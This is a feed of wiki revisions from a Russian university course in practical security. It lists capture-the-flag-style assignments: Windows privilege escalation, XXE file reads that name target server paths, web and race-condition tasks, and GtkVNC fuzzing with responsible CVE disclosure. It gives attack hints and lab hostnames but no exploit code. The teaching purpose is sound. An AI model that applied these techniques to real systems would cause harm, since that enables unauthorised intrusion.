		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=552</id>
		<title>Дополнительные главы практической безопасности (2021)/Задание LPE в Windows</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_LPE_%D0%B2_Windows&amp;diff=552"/>
		<updated>2021-05-11T13:41:40Z</updated>

		<summary type="html">&lt;p&gt;Asterite: Новая страница: «В задании три флага (300, 700 и 1000 баллов), в общей сложности можно получить 2000 баллов.  Суть з…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;В задании три флага (300, 700 и 1000 баллов), в общей сложности можно получить 2000 баллов. &lt;br /&gt;
Суть задачи в том, что вам необходимо повысить свои привилегии на win-системе и получить содержимое файлов-флагов. Для вашего удобства базовый OVA-образ доступен для скачивания. Образ, который используется в таске, отличается от базового только паролем админа и текстом в файлах с флагами.&lt;br /&gt;
&lt;br /&gt;
Вам нужно будет написать программу (исполняемый файл exe), которая получает флаг и печатает его в stdout. При помощи сабмит-системы вы можете отправлять свои программы на запуск и получать результат их выполнения (примерно минут через 10 после запуска), включая stdout. Ваши программы запускаются от пользователя user. Все флаги начинаются с префикса &amp;lt;pre&amp;gt;main_FLG&amp;lt;/pre&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Адрес задания: http://l.poc.fun:1337/&lt;br /&gt;
&lt;br /&gt;
Для выполнения задания вам потребуется VirtualBox и что-то для сборки программ под windows (я рекомендую VS2019 community edition). &lt;br /&gt;
&lt;br /&gt;
Рекомендуемый порядок выполнения задания:&lt;br /&gt;
1. Качаете OVA, разворачиваете у себя, загружаетесь, изучаете систему;&lt;br /&gt;
2. Придумываете, как получить флаг / флаги;&lt;br /&gt;
3. Пишете программу, которая получает флаг;&lt;br /&gt;
4. Тестируете её у себя локально;&lt;br /&gt;
5. Сабмитите в проверялку и получаете реальный флаг.&lt;br /&gt;
&lt;br /&gt;
Если что-то не работает, пишите мне в личку.&lt;br /&gt;
PS. Задачки на 300 и 700 баллов совсем простые и вообще не выходят за рамки того, что обсуждалось на семинаре.&lt;br /&gt;
&lt;br /&gt;
Дедлайн по этой задаче: &#039;&#039;&#039;23 мая 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=551</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=551"/>
		<updated>2021-05-11T13:40:57Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[Дополнительные_главы_практической_безопасности_(2021)/Задания по XXE|Задания по XXE]]&lt;br /&gt;
* Хотя рождество ещё не скоро, у нас тут уже заранее работает [http://christmas.tasks.course.secsem.ru/ сайт, позволяющий проверить, ждёт ли вас подарок на рождество]. Может это будет флаг?? Исходный код php-файла на этом сайте можно посмотреть, заменив расширение на &amp;lt;code&amp;gt;.phps&amp;lt;/code&amp;gt;. Этот таск стоит &#039;&#039;&#039;100&#039;&#039;&#039; баллов. Дедлаин по нему: &#039;&#039;&#039;16 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Домашнее_задание_по_фаззингу|Задания по фаззингу бинарных программ]]&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задания_по_темам_первых_четырёх_семинаров|Задания по темам первых четырёх семинаров]]&lt;br /&gt;
* [http://206.189.1.230:1337/ Задание по атакам на race condition в веб-приложениях]. Его стоимость: &#039;&#039;&#039;1000&#039;&#039;&#039; баллов. Дедлаин по этой задаче: &#039;&#039;&#039;21 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задание_LPE_в_Windows|Задание по эскалации привилегий (LPE) в Windows]]&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
В каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему. Для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаги могут иметь разную стоимость. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.course.secsem.ru/ принимающую систему]. Флаги могут время от времени меняться, если вы получили флаг, но он не сдаётся, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите в чат или мне в телеграм @asterite3.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=550</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=550"/>
		<updated>2021-05-11T13:40:28Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[Дополнительные_главы_практической_безопасности_(2021)/Задания по XXE|Задания по XXE]]&lt;br /&gt;
* Хотя рождество ещё не скоро, у нас тут уже заранее работает [http://christmas.tasks.course.secsem.ru/ сайт, позволяющий проверить, ждёт ли вас подарок на рождество]. Может это будет флаг?? Исходный код php-файла на этом сайте можно посмотреть, заменив расширение на &amp;lt;code&amp;gt;.phps&amp;lt;/code&amp;gt;. Этот таск стоит &#039;&#039;&#039;100&#039;&#039;&#039; баллов. Дедлаин по нему: &#039;&#039;&#039;16 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Домашнее_задание_по_фаззингу|Задания по фаззингу бинарных программ]]&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задания_по_темам_первых_четырёх_семинаров|Задания по темам первых четырёх семинаров]]&lt;br /&gt;
* [http://206.189.1.230:1337/ Задание по атакам на race condition в веб-приложениях]. Его стоимость: &#039;&#039;&#039;1000&#039;&#039;&#039; баллов. Дедлаин по этой задаче: &#039;&#039;&#039;21 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задание_LPE_в_Windows|Задание по LPE в Windows]]&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
В каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему. Для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаги могут иметь разную стоимость. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.course.secsem.ru/ принимающую систему]. Флаги могут время от времени меняться, если вы получили флаг, но он не сдаётся, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите в чат или мне в телеграм @asterite3.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_XXE&amp;diff=547</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания по XXE</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_XXE&amp;diff=547"/>
		<updated>2021-05-08T12:00:07Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Первый флаг можно найти в приложении http://xxe-indirect.tasks.course.secsem.ru/, он в файле &amp;lt;code&amp;gt;/opt/src/flag&amp;lt;/code&amp;gt;. В этом приложении нет флагов кроме этого обязательного. Также, флаги стоит поискать в приложении http://xxe-oob.tasks.course.secsem.ru/ (в нём стоит попробовать получить содержимое &amp;lt;code&amp;gt;/etc/privateinfo.txt&amp;lt;/code&amp;gt;) и в [http://xxe-shop.tasks.course.secsem.ru/ этом интернет-магазине]. В последнем 2 обязательных флага, подсказки где они стоит искать на главной странице, для их получения стоит попробовать использовать error-based эксплуатацию XXE. Кроме того, для эксплуатации в последних двух сервисах может помочь такая особенность XML-парсера Java как выдача листинга директории при чтении её как файла.&lt;br /&gt;
&lt;br /&gt;
Наконец, глянуть нет ли случайно флага можно в файле &amp;lt;code&amp;gt;/srv/knowledge/information.txt&amp;lt;/code&amp;gt; на сервере, на котором крутится [http://fire.tasks.course.secsem.ru/ этот сайт].&lt;br /&gt;
&lt;br /&gt;
Всего в заданиях на этой странице &#039;&#039;&#039;5&#039;&#039;&#039; обязательных флагов, суммарной стоимостью &#039;&#039;&#039;800&#039;&#039;&#039; баллов.&lt;br /&gt;
&lt;br /&gt;
Дедлаин по этим таскам: &#039;&#039;&#039;16 мая, 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%82%D0%B5%D0%BC%D0%B0%D0%BC_%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D1%85_%D1%87%D0%B5%D1%82%D1%8B%D1%80%D1%91%D1%85_%D1%81%D0%B5%D0%BC%D0%B8%D0%BD%D0%B0%D1%80%D0%BE%D0%B2&amp;diff=546</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания по темам первых четырёх семинаров</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%82%D0%B5%D0%BC%D0%B0%D0%BC_%D0%BF%D0%B5%D1%80%D0%B2%D1%8B%D1%85_%D1%87%D0%B5%D1%82%D1%8B%D1%80%D1%91%D1%85_%D1%81%D0%B5%D0%BC%D0%B8%D0%BD%D0%B0%D1%80%D0%BE%D0%B2&amp;diff=546"/>
		<updated>2021-05-08T11:59:38Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;По одному обязательному флагу можно найти в&lt;br /&gt;
* [http://finder.tasks.course.secsem.ru/ этом приложении для поиска] (кстати, его веб-рут находится в директории &amp;lt;code&amp;gt;/app&amp;lt;/code&amp;gt;. Также, может помочь натравить приложение на свой сервак и посмотреть что там в заголовках пришедшего запроса)&lt;br /&gt;
* [http://www.valldenuria.not.a.cat.tasks.course.secsem.ru/ этом сайте курорта] ([http://94.130.175.205/utils.jspinc вот один из файлов из его исходников]). Там чтобы найти флаг надо будет запустить программу, находящуюся на файловой системе по пути &amp;lt;code&amp;gt;/app/readfilewithflag&amp;lt;/code&amp;gt;. Для решения может помочь узнать какой есть на сервере софт, для этого можно попробовать пошарить по разным директориям&lt;br /&gt;
* [http://fmt.tasks.course.secsem.ru/app/ этом приложении], где с чтением флага похожая история&lt;br /&gt;
* и [http://wd.tasks.course.secsem.ru/ этом сайте] ([http://94.130.175.205/sessions.py а вот один из файлов из его исходников])&lt;br /&gt;
* [http://conflux.tasks.course.secsem.ru/ а также тут] ([http://94.130.175.205/conflux-src.tgz тут вообще все исходники даны]).&lt;br /&gt;
&lt;br /&gt;
Обязательные флаги за эти задания дают в сумме &#039;&#039;&#039;3200&#039;&#039;&#039; баллов. Дедлаин по этим таскам: &#039;&#039;&#039;16 мая, 23:59&#039;&#039;&#039;&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=545</id>
		<title>Дополнительные главы практической безопасности (2021)/Задания</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F&amp;diff=545"/>
		<updated>2021-05-08T11:59:25Z</updated>

		<summary type="html">&lt;p&gt;Asterite: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* [[Дополнительные_главы_практической_безопасности_(2021)/Задания по XXE|Задания по XXE]]&lt;br /&gt;
* Хотя рождество ещё не скоро, у нас тут уже заранее работает [http://christmas.tasks.course.secsem.ru/ сайт, позволяющий проверить, ждёт ли вас подарок на рождество]. Может это будет флаг?? Исходный код php-файла на этом сайте можно посмотреть, заменив расширение на &amp;lt;code&amp;gt;.phps&amp;lt;/code&amp;gt;. Этот таск стоит &#039;&#039;&#039;100&#039;&#039;&#039; баллов. Дедлаин по нему: &#039;&#039;&#039;16 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Домашнее_задание_по_фаззингу|Задания по фаззингу бинарных программ]]&lt;br /&gt;
* [[Дополнительные_главы_практической_безопасности_(2021)/Задания_по_темам_первых_четырёх_семинаров|Задания по темам первых четырёх семинаров]]&lt;br /&gt;
* [http://206.189.1.230:1337/ Задание по атакам на race condition в веб-приложениях]. Его стоимость: &#039;&#039;&#039;1000&#039;&#039;&#039; баллов. Дедлаин по этой задаче: &#039;&#039;&#039;21 мая, 23:59&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
==== Формат заданий ====&lt;br /&gt;
&lt;br /&gt;
В каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему. Для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаги могут иметь разную стоимость. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса &amp;lt;code&amp;gt;main_&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Сдача флагов ====&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в [http://dashboard.course.secsem.ru/ принимающую систему]. Флаги могут время от времени меняться, если вы получили флаг, но он не сдаётся, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите в чат или мне в телеграм @asterite3.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83&amp;diff=544</id>
		<title>Дополнительные главы практической безопасности (2021)/Домашнее задание по фаззингу</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B3%D0%BB%D0%B0%D0%B2%D1%8B_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B9_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8_(2021)/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B5%D0%B5_%D0%B7%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D0%BE_%D1%84%D0%B0%D0%B7%D0%B7%D0%B8%D0%BD%D0%B3%D1%83&amp;diff=544"/>
		<updated>2021-05-08T11:57:12Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* Задача */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Домашнее задание по фаззингу =&lt;br /&gt;
&lt;br /&gt;
== Первый семинар ==&lt;br /&gt;
&lt;br /&gt;
=== Задача ===&lt;br /&gt;
&lt;br /&gt;
http://fuzzing.tasks.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
На первом семинаре мы с вами говорили о том, что CTF задачи на бинарную эксплуатацию довольно часто развивают не те навыки, которые востребованы в реальной жизни. Данная задача направлена на развитие ваших навыков автоматизации поиска уязвимостей, диагностики ошибок и написания репортов по найдённым уязвимостям. Для выполнения задачи вам будет предложено искать реальные уязвимости в реальном продукте при помощи фаззинга.&lt;br /&gt;
&lt;br /&gt;
Исследуемый продукт: GtkVNC — клиент для приложений доступа к удалённого экрану, которые используют протокол RFB. [https://tools.ietf.org/html/rfc6143 RFC на протокол]&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы начать искать уязвимости [https://gist.github.com/PaulCher/d4ed9df3e04e0777198538cd36c79a4c достаточно сделать это...]&lt;br /&gt;
&lt;br /&gt;
Правила игры:&lt;br /&gt;
Чем больше уязвимостей Вы найдёте в проекте — тем лучше. &lt;br /&gt;
Сколько уязвимостей — неизвестно, но они есть. &lt;br /&gt;
Если Вы — первый человек, кто нашёл уязвимость данного типа, то мы вместе непублично репортим уязвимость вендору и регистрируем на Вас идентификатор CVE.&lt;br /&gt;
Уязвимости, которые приводят к возможности получения удалённого доступа на клиенте оцениваются выше, чем уязвимости, которые приводят к падению клиента (RCE круче, чем DoS). &lt;br /&gt;
Уязвимости искать руками тоже можно не используя фаззинг, это не будет контролироваться.&lt;br /&gt;
&lt;br /&gt;
Для того, чтобы подтвердить, что вы действительно нашли уязвимость вам необходимо будет написать минимальный Proof-of-Concept, который необходимо будет сдать в проверяющую систему. Проверяющая система будет запускать ваш PoC и тестировать, что бинарный пакет gtkvnc, скомпилированный с AddressSanitizer выдаёт типичную для ASAN-a ошибку. Если уязвимость, которую вы нашли не триггерит ASAN, но является уязвимостью (например это ошибка неинициализированной памяти, которую клиент удалённо может считать), то пишите в телеграмм paulchr . Такие уязвимость тоже буду засчитаны. &lt;br /&gt;
&lt;br /&gt;
Прежде, чем посылать эксплоит на сервер рекомендуется убедиться, что вы можете получить ошибку локально, подключившись при помощи клиента GtkVNC, который скомпилирован с библиотекой ASAN. После того как вы убедились в этом, посылайте ваш PoC на сервер. Для этого надо зарегистрироваться на нём, выбрать &amp;quot;Targets&amp;quot; -&amp;gt; &amp;quot;GtkVNC&amp;quot; и загрузить скрипт на сервер. Запускаться он будет через ./poc, так что не забудьте шабанг. &lt;br /&gt;
&lt;br /&gt;
Если PoC успешно пройдёт проверку, то он будет переведён из состояния &amp;quot;in progress&amp;quot; в состояние &amp;quot;success&amp;quot;, иначе он перейдёт в состояние &amp;quot;failed&amp;quot;. Таймаут работы — одна минута, но если вашему скрипту нужно больше времени на работу, чтобы стриггерить уязвимость, так как он, например, посылает много данных, то это поправимо (пишите в телеграмм). Если после загрузки файла на сервер ваш PoC завис в состоянии &amp;quot;in progreess&amp;quot;, &amp;quot;created&amp;quot; или &amp;quot;internal error&amp;quot;, то пишите в телеграмм, скорее всего что-то сломалось и я постараюсь это почитать как только так сразу. Система тестируется на людях в первый раз.&lt;br /&gt;
&lt;br /&gt;
Если ваш PoC перешёл в состояние success, то поздравляю, вы стриггерили уязвимость, но это не конец. Для успешного завершения упражнения Вам необходимо написать репорт в проверяющую систему где вы опишете подробно насколько это возможно уязвимость и последствия для программы, к которым она приводит. Описание отправляется на ревью (состояние &amp;quot;on review&amp;quot;) и может быть отклонено администраторами системы, если репорт был плохо написан. Примеры таких возможных случаев: причина уязвимости была неверно истолкована или непонятно изложена, импакт данной уязвимости был определён неверно, ваш PoC написан не достаточно понятно или обфусцирован или был загружен бинарный исполняемый файл. В таком случае Ваш submission отправляется в состояние &amp;quot;rejected&amp;quot;. Если Вы первым смогли стриггерить  данную уязвимость, но плохо написали репорт, и человек после Вас получил успешный статус &amp;quot;success&amp;quot;, то он будет считаться первым успешно выполнившим задание, а следовательно, будет претендовать на получение идентификатора CVE, даже если Вы потом успешно заново сдали данную уязвимость.&lt;br /&gt;
&lt;br /&gt;
В окружении в котором будет запускаться ваш PoC есть питон3 и библиотека pwntools. [https://gist.github.com/PaulCher/d86d4db6bba67034e1c4de69e9edafd7 Подробнее об устройстве PoC контейнере]&lt;br /&gt;
&lt;br /&gt;
Делиться информацией о найденных уязвимостях ни с кем  категорически нельзя до конца задания!&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Дедлаин по этой задаче: 16 мая 23:59:59&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Вспомогательные материалы ===&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/google/AFL/ AFL]&lt;br /&gt;
* [https://github.com/google/AFL/blob/master/docs/technical_details.txt AFL technical_details.txt]&lt;br /&gt;
* [https://llvm.org/docs/LibFuzzer.html Базовая справка по libFuzzer]&lt;br /&gt;
* [https://github.com/Dor1s/libfuzzer-workshop Хороший воркшоп про libFuzzer]&lt;br /&gt;
* [https://github.com/google/sanitizers/wiki/AddressSanitizer Документация AddressSanitizer]&lt;br /&gt;
